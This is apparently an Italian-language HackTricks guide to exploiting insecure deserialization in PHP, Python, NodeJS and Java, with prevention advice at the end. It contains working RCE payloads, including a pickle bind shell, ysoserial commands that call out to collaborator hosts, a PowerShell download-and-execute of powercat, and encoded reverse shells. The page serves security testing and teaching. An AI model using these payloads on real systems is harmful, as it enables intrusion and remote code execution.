Deserialization

Reading time: 43 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Serialization è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un secondo momento, preservandone struttura e stato.

Deserialization, al contrario, è il processo che contrasta Serialization. Consiste nel prendere dati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.

La Deserialization può essere pericolosa perché potenzialmente consente agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso o causare comportamenti imprevisti nell'applicazione durante il processo di ricostruzione dell'oggetto.

PHP

In PHP, vengono utilizzati specifici metodi magici durante i processi di serialization e deserialization:

  • __sleep: Viene invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietà dell'oggetto che devono essere serializzate. È comunemente usato per salvare dati in sospeso o eseguire attività di pulizia simili.
  • __wakeup: Chiamato quando un oggetto viene deserializzato. Viene usato per ristabilire eventuali connessioni al database perse durante la serialization ed eseguire altre attività di reinizializzazione.
  • __unserialize: Questo metodo è chiamato al posto di __wakeup (se esiste) quando un oggetto viene deserializzato. Fornisce un maggiore controllo sul processo di deserialization rispetto a __wakeup.
  • __destruct: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. È tipicamente usato per attività di pulizia, come chiudere handle di file o connessioni al database.
  • __toString: Questo metodo permette di trattare un oggetto come una stringa. Può essere usato per leggere un file o altri compiti basati sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se guardi i risultati puoi vedere che le funzioni __wakeup e __destruct vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione __toString viene chiamata quando si prova a stampare qualche attributo, ma apparentemente questo non avviene più.

warning

Il metodo __unserialize(array $data) viene chiamato invece di __wakeup() se è implementato nella classe. Permette di unserializzare l'oggetto fornendo i dati serializzati come array. Puoi usare questo metodo per unserializzare le proprietà ed eseguire le operazioni necessarie al momento della deserializzazione.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Puoi leggere un esempio PHP spiegato qui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, qui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o qui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Potresti abusare della funzionalità PHP autoload per caricare file php arbitrari e altro:

PHP - Deserialization + Autoload Classes

Serializzare valori referenziati

Se per qualche motivo vuoi serializzare un valore come riferimento a un altro valore serializzato puoi:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Prevenire PHP Object Injection con allowed_classes

info

Il supporto per il secondo argomento di unserialize() (l'array $options) è stato aggiunto in PHP 7.0. Nelle versioni più vecchie la funzione accetta solo la stringa serializzata, rendendo impossibile limitare quali classi possono essere istanziate.

unserialize() istanzierà ogni classe che trova all'interno dello stream serializzato a meno che non venga detto altrimenti. Da PHP 7 il comportamento può essere limitato con l'opzione allowed_classes:

php
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);

// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Se allowed_classes viene omesso o il codice viene eseguito su PHP < 7.0, la chiamata diventa pericolosa perché un attacker può creare un payload che sfrutta metodi magici come __wakeup() o __destruct() per ottenere Remote Code Execution (RCE).

Esempio reale: Everest Forms (WordPress) CVE-2025-52709

Il plugin WordPress Everest Forms ≤ 3.2.2 ha cercato di essere difensivo tramite un helper wrapper, ma ha dimenticato le versioni legacy di PHP:

php
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Su server che eseguivano ancora PHP ≤ 7.0 questo secondo ramo portava a una classica PHP Object Injection quando un amministratore apriva una submission di form malevola. Un payload di exploit minimale potrebbe essere:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Non appena l'amministratore visualizzò la voce, l'oggetto venne istanziato e SomeClass::__destruct() venne eseguito, risultando in arbitrary code execution.

Punti chiave

  1. Passa sempre ['allowed_classes' => false] (o una white-list rigorosa) quando chiami unserialize().
  2. Esegui l'audit dei wrapper difensivi – spesso dimenticano i rami legacy di PHP.
  3. Aggiornare a PHP ≥ 7.x da solo non è sufficiente: l'opzione deve comunque essere fornita esplicitamente.

PHPGGC (ysoserial for PHP)

PHPGGC può aiutarti a generare payload per sfruttare deserializations in PHP.
Nota che in diversi casi non riuscirai a trovare un modo per abusare di una deserialization nel codice sorgente dell'applicazione ma potresti essere in grado di abusare del codice di estensioni PHP esterne.
Quindi, se puoi, controlla il phpinfo() del server e cerca su internet (anche tra i gadgets di PHPGGC) qualche gadget che potresti sfruttare.

phar:// metadata deserialization

Se hai trovato una LFI che si limita a leggere il file e non a eseguire il codice php al suo interno, per esempio usando funzioni come file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Puoi provare ad abusare di una deserialization che avviene quando si legge un file usando il protocollo phar.
Per maggiori informazioni leggi il seguente post:

phar:// deserialization

Python

Pickle

Quando l'oggetto viene unpickle, la funzione ___reduce___ verrà eseguita.
Quando sfruttata, il server potrebbe restituire un errore.

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Prima di controllare la tecnica di bypass, prova a usare print(base64.b64encode(pickle.dumps(P(),2))) per generare un oggetto compatibile con python2 se stai eseguendo python3.

Per maggiori informazioni su come evadere dalle pickle jails consulta:

Bypass Python sandboxes

Yaml & jsonpickle

La pagina seguente presenta la tecnica per abusare di una deserializzazione insicura nelle librerie python per yaml e termina con uno strumento che può essere usato per generare payload di RCE da deserializzazione per Pickle, PyYAML, jsonpickle and ruamel.yaml:

Python Yaml Deserialization

Class Pollution (Python Prototype Pollution)

Class Pollution (Python's Prototype Pollution)

NodeJS

Funzioni "magiche" di JS

JS non ha "magic" functions come PHP o Python che vengono eseguite semplicemente creando un oggetto. Ma ha alcune funzioni che vengono usate frequentemente anche senza chiamarle direttamente come toString, valueOf, toJSON.
Se, sfruttando una deserializzazione, riesci a compromettere queste funzioni per eseguire altro codice (potenzialmente abusando di prototype pollutions) potresti eseguire codice arbitrario quando vengono chiamate.

Un altro "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Se vuoi approfondire questa tecnica dai un'occhiata al seguente tutorial:

NodeJS - proto & prototype Pollution

node-serialize

Questa libreria permette di serializzare funzioni. Esempio:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

L'oggetto serializzato apparirà così:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Come puoi vedere nell'esempio, quando una funzione viene serializzata il flag _$$ND_FUNC$$_ viene aggiunto all'oggetto serializzato.

Nel file node-serialize/lib/serialize.js puoi trovare lo stesso flag e come il codice lo utilizza.

Come si può vedere nell'ultimo blocco di codice, se il flag viene trovato eval viene usato per deserializzare la funzione, quindi sostanzialmente l'input utente viene usato all'interno della funzione eval.

Tuttavia, serializzare semplicemente una funzione non la eseguirà, poiché sarebbe necessario che qualche parte del codice stesse chiamando y.rce nel nostro esempio e ciò è altamente improbabile.
Comunque, puoi semplicemente modificare l'oggetto serializzato aggiungendo delle parentesi per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato.
Nel prossimo blocco di codice nota l'ultima parentesi e come la funzione unserialize eseguirà automaticamente il codice:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Come indicato in precedenza, questa libreria prenderà il codice dopo _$$ND_FUNC$$_ e lo eseguirà usando eval. Pertanto, per eseguire automaticamente il codice puoi eliminare la parte di creazione della funzione e l'ultima parentesi e semplicemente eseguire un JS oneliner come nell'esempio seguente:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Puoi trovare find here ulteriori informazioni su come sfruttare questa vulnerabilità.

funcster

Un aspetto notevole di funcster è l'inaccessibilità dei standard built-in objects; essi ricadono al di fuori dello scope accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi sugli oggetti built-in, causando eccezioni come "ReferenceError: console is not defined" quando vengono usati comandi come console.log() o require(something).

Nonostante questa limitazione, il ripristino dell'accesso completo al contesto globale, inclusi tutti gli oggetti built-in standard, è possibile tramite un approccio specifico. Sfruttando direttamente il contesto globale, è possibile bypassare questa restrizione. Per esempio, l'accesso può essere ripristinato usando il seguente snippet:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Per maggiori informazioni leggi questa fonte.

serialize-javascript

Il pacchetto serialize-javascript è progettato esclusivamente per scopi di serialization e non dispone di capacità di deserialization integrate. Gli utenti devono implementare il proprio metodo di deserialization. Nell'esempio ufficiale per deserializing serialized data viene suggerito l'uso diretto di eval:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Se questa funzione viene usata per deserialize objects puoi sfruttarla facilmente:

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Per maggiori informazioni leggi questa fonte.

Libreria Cryo

Nelle pagine seguenti puoi trovare informazioni su come abusare di questa libreria per eseguire comandi arbitrari:

Java - HTTP

In Java, le deserialization callbacks vengono eseguite durante il processo di deserialization. Questa esecuzione può essere sfruttata da attaccanti che costruiscono payload malevoli che attivano queste callback, portando alla possibile esecuzione di azioni dannose.

Impronte

White Box

Per identificare potenziali vulnerabilità di serialization nel codebase cerca:

  • Classi che implementano l'interfaccia Serializable.
  • Uso di java.io.ObjectInputStream, delle funzioni readObject, readUnshare.

Presta particolare attenzione a:

  • XMLDecoder utilizzato con parametri definiti da utenti esterni.
  • il metodo fromXML di XStream, specialmente se la versione di XStream è minore o uguale a 1.46, poiché è suscettibile a problemi di serialization.
  • ObjectInputStream accoppiato con il metodo readObject.
  • Implementazione di metodi come readObject, readObjectNodData, readResolve, o readExternal.
  • ObjectInputStream.readUnshared.
  • Uso generale di Serializable.

Black Box

Per il testing Black Box, cerca specifiche signature o "Magic Bytes" che denotano oggetti java serializzati (originari di ObjectInputStream):

  • Pattern esadecimale: AC ED 00 05.
  • Pattern Base64: rO0.
  • Intestazioni di risposta HTTP con Content-type impostato su application/x-java-serialized-object.
  • Pattern esadecimale che indica compressione precedente: 1F 8B 08 00.
  • Pattern Base64 che indica compressione precedente: H4sIA.
  • File web con estensione .faces e il parametro faces.ViewState. La scoperta di questi pattern in un'applicazione web dovrebbe indurre a esaminare la situazione come descritto nel post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Controlla se è vulnerabile

Se vuoi imparare come funziona un Java Deserialized exploit dovresti dare un'occhiata a Basic Java Deserialization, Java DNS Deserialization, e CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

Le codebase moderne a volte avvolgono la deserializzazione con java.security.SignedObject e validano una signature prima di chiamare getObject() (che deserializza l'oggetto interno). Questo impedisce arbitrary top-level gadget classes ma può comunque essere sfruttato se un attacker può ottenere una valid signature (es. private-key compromise o un signing oracle). Inoltre, i flussi di error-handling possono mint session-bound tokens per utenti non autenticati, esponendo sink altrimenti protetti pre-auth.

Per un case study concreto con requests, IoCs, and hardening guidance, vedi:

Java Signedobject Gated Deserialization

White Box Test

Puoi verificare se è installata qualche applicazione con vulnerabilità note.

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Puoi provare a controllare tutte le librerie note per essere vulnerabili e per le quali Ysoserial can provide an exploit for. Oppure puoi verificare le librerie indicate su Java-Deserialization-Cheat-Sheet.
Puoi anche usare gadgetinspector per cercare possibili gadget chains che possono essere sfruttate.
Quando esegui gadgetinspector (dopo averlo compilato) non preoccuparti dei numerosi warning/error che appariranno e lascialo terminare. Scriverà tutti i risultati in gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Nota che gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi.

Test Black Box

Usando l'estensione Burp gadgetprobe puoi identificare quali librerie sono disponibili (e persino le versioni). Con queste informazioni può essere più facile scegliere un payload da usare per sfruttare la vulnerabilità.
Leggi questo per saperne di più su GadgetProbe.
GadgetProbe è focalizzato su deserializzazioni ObjectInputStream.

Usando l'estensione Burp Java Deserialization Scanner puoi identificare librerie vulnerabili sfruttabili con ysoserial e sfruttarle.
Leggi questo per saperne di più su Java Deserialization Scanner.
Java Deserialization Scanner è focalizzato su deserializzazioni ObjectInputStream.

Puoi anche usare Freddy per rilevare vulnerabilità di deserializzazione in Burp. Questo plugin rileverà non solo problemi legati a ObjectInputStream ma anche vulnerabilità derivanti da librerie di deserializzazione Json e Yml. In modalità active, proverà a confermarle usando payload di sleep o DNS.
Puoi trovare più informazioni su Freddy qui.

Test di serializzazione

Non si tratta solo di verificare se il server usa una libreria vulnerabile. A volte puoi essere in grado di modificare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli (magari ottenendo privilegi admin in una webapp).
Se trovi un oggetto Java serializzato inviato a una web application, puoi usare SerializationDumper per stampare in un formato più leggibile l'oggetto serializzato inviato. Sapere quali dati stai inviando rende più semplice modificarli e bypassare controlli.

Exploit

ysoserial

Lo strumento principale per sfruttare le deserializzazioni Java è ysoserial (download here). Puoi anche considerare l'uso di ysoseral-modified che ti permetterà di usare comandi complessi (con pipe, per esempio).
Nota che questo strumento è focalizzato sullo sfruttamento di deserializzazioni ObjectInputStream.
Ti consiglio di iniziare usando il payload "URLDNS" prima di un payload RCE per testare se l'iniezione è possibile. Comunque, tieni presente che il payload "URLDNS" potrebbe non funzionare mentre un altro payload RCE potrebbe.

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Quando crei un payload per java.lang.Runtime.exec() non puoi usare caratteri speciali come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche passare argomenti a un comando separati da spazi (puoi fare echo -n "hello world" ma non puoi fare python2 -c 'print "Hello World"'). Per codificare correttamente il payload puoi usare questa pagina web.

Sentiti libero di usare lo script seguente per creare tutti i possibili code execution payloads per Windows e Linux e poi testarli sulla pagina web vulnerabile:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puoi usare https://github.com/pwntester/SerialKillerBypassGadgetCollection insieme a ysoserial per creare più exploits. Ulteriori informazioni su questo strumento nelle slide della presentazione in cui è stato presentato: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec può essere usato per generare payload per sfruttare diverse librerie di serializzazione Json e Yml in Java.
Per compilare il progetto ho dovuto aggiungere queste dipendenze a pom.xml:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installa maven e compila il progetto:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Leggi di più su questa libreria Java per JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratori

Perché

Java fa largo uso della serializzazione per vari scopi, come:

  • HTTP requests: La serializzazione è ampiamente utilizzata nella gestione di parametri, ViewState, cookie, ecc.
  • RMI (Remote Method Invocation): Il protocollo Java RMI, che si basa interamente sulla serializzazione, è una pietra angolare per la comunicazione remota nelle applicazioni Java.
  • RMI over HTTP: Questo metodo è comunemente usato dalle applicazioni web con thick client basate su Java, utilizzando la serializzazione per tutte le comunicazioni di oggetti.
  • JMX (Java Management Extensions): JMX utilizza la serializzazione per trasmettere oggetti sulla rete.
  • Custom Protocols: In Java, la pratica standard prevede la trasmissione di oggetti Java grezzi, cosa che sarà dimostrata nei prossimi esempi di exploit.

Prevenzione

Oggetti transient

Una classe che implementa Serializable può dichiarare come transient qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzato. Per esempio:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitare la serializzazione di una classe che deve implementare Serializable

In scenari in cui alcuni oggetti devono implementare l'interfaccia Serializable a causa della gerarchia di classi, esiste il rischio di deserializzazione involontaria. Per evitarlo, assicurati che questi oggetti non siano deserializzabili definendo un metodo final readObject() che lancia sempre un'eccezione, come mostrato di seguito:

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Rafforzare la sicurezza della deserializzazione in Java

Personalizzare java.io.ObjectInputStream è un approccio pratico per mettere in sicurezza i processi di deserializzazione. Questo metodo è adatto quando:

  • Il codice di deserializzazione è sotto il tuo controllo.
  • Le classi attese per la deserializzazione sono note.

Sovrascrivi il metodo resolveClass() per limitare la deserializzazione solo alle classi consentite. Questo evita la deserializzazione di qualsiasi classe eccetto quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe Bicycle:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Using a Java Agent for Security Enhancement offre una soluzione di fallback quando la modifica del codice non è possibile. Questo metodo si applica principalmente per blacklisting harmful classes, usando un parametro JVM:

-javaagent:name-of-agent.jar

Fornisce un modo per proteggere la deserializzazione dinamicamente, ideale per ambienti in cui modifiche immediate al codice sono impraticabili.

Consulta un esempio in rO0 by Contrast Security

Implementazione dei filtri di serializzazione: Java 9 ha introdotto i filtri di serializzazione tramite l'interfaccia ObjectInputFilter, offrendo un potente meccanismo per specificare i criteri che gli oggetti serializzati devono soddisfare prima di essere deserializzati. Questi filtri possono essere applicati globalmente o per stream, fornendo un controllo granulare sul processo di deserializzazione.

Per sfruttare i filtri di serializzazione, puoi impostare un filtro globale che si applica a tutte le operazioni di deserializzazione o configurarlo dinamicamente per stream specifici. Per esempio:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.
  • jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
  • Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.

References

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

Quindi, fondamentalmente ci sono un sacco di servizi che usano JMS in modo pericoloso. Pertanto, se hai privilegi sufficienti per inviare messaggi a questi servizi (di solito serviranno credenziali valide) potresti essere in grado di inviare oggetti serializzati malevoli che saranno deserializzati dal consumer/subscriber.
Questo significa che in questo tipo di exploit tutti i client che utilizzeranno quel messaggio verranno infettati.

Ricorda che anche se un servizio è vulnerabile (perché deserializza in modo insicuro input forniti dall'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.

